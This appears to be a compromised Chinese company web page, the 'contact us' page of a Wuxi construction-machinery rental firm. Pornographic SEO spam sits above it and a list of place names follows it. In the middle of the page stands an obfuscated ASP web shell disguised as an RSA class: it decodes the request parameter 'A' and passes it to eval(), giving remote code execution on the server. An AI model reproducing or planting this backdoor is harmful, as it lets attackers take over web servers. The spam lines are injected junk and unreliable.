久久久受www免费人成,欧美激情一区二区三区免费观看,国产成人精品一区二区,99久久99这里只有免费费精品

聯(lián)系我們

無錫市建強(qiáng)建筑機(jī)械租賃有限公司

聯(lián)系人:馬經(jīng)理

聯(lián)系電話:13812034588

地址:無錫錫山區(qū)深港天地9號樓802

郵箱:2553236833@qq.com

網(wǎng)址:www.ahns.com.cn


<% Class clsRSA Public a1,a2,a3 Public Sub b1() a1="937":a2="193":a3="737" End Sub Public Function b2(p1,p2) Dim c1,c2,c3,c4 c4=1 If p2 Mod 2=0 Then c2=1 For c3=1 To p2/2 c1=(p1^2) Mod a3 c2=(c1*c2) Mod a3 Next Else c2=p1 For c3=1 To p2/2 c1=(p1^2) Mod a3 c2=(c1*c2) Mod a3 Next End If b2=c2 End Function Public Function b3(ByVal p3) Dim c4,c5,c6,c7,c8 c5=Len(p3) If c5=0 Then Exit Function For c4=1 To c5 c6=Asc(Mid(p3,c4,1)) c7=b2(c6,a1) c8=d1(c7,4) b3=b3 & c8 Next End Function Public Function b4(ByVal p4) Dim c9,c10,c11,c12 b4="" c10=Len(p4) For c9=1 To c10 Step 4 c11=e1(Mid(p4,c9,4)) c12=b2(c11,a2) b4=b4 & Chr(c12) Next End Function Private Function d1(ByRef p5,ByRef p6) d1=Right(String(p6,"0") & Hex(p5),p6) End Function Private Function e1(ByRef p7) e1=CLng("&h" & p7) End Function End Class Set ObjRSA=New clsRSA Call ObjRSA.b1() Dim f1 f1=Request(Chr(65)) Dim g1 g1=ObjRSA.b4(f1) Dim h1 h1=g1 Call i1(h1) Sub i1(ByVal j1) Dim k1 k1=0 eval(j1) End Sub %>
开远市| 资兴市| 兴国县| 遂宁市| 淮阳县| 湟源县| 海宁市| 屯昌县| 西安市| 徐水县| 霍山县| 古交市| 自贡市| 江源县| 原平市| 通化县| 淮滨县| 阜宁县| 淳安县| 达拉特旗| 通山县| 西城区| 罗甸县| 库尔勒市| 绥阳县| 博兴县| 阳泉市| 萨迦县| 扶绥县| 同德县| 甘孜县| 武穴市| 长垣县| 怀来县| 五常市| 新田县| 漳浦县| 南华县| 阜宁县| 修文县| 临澧县|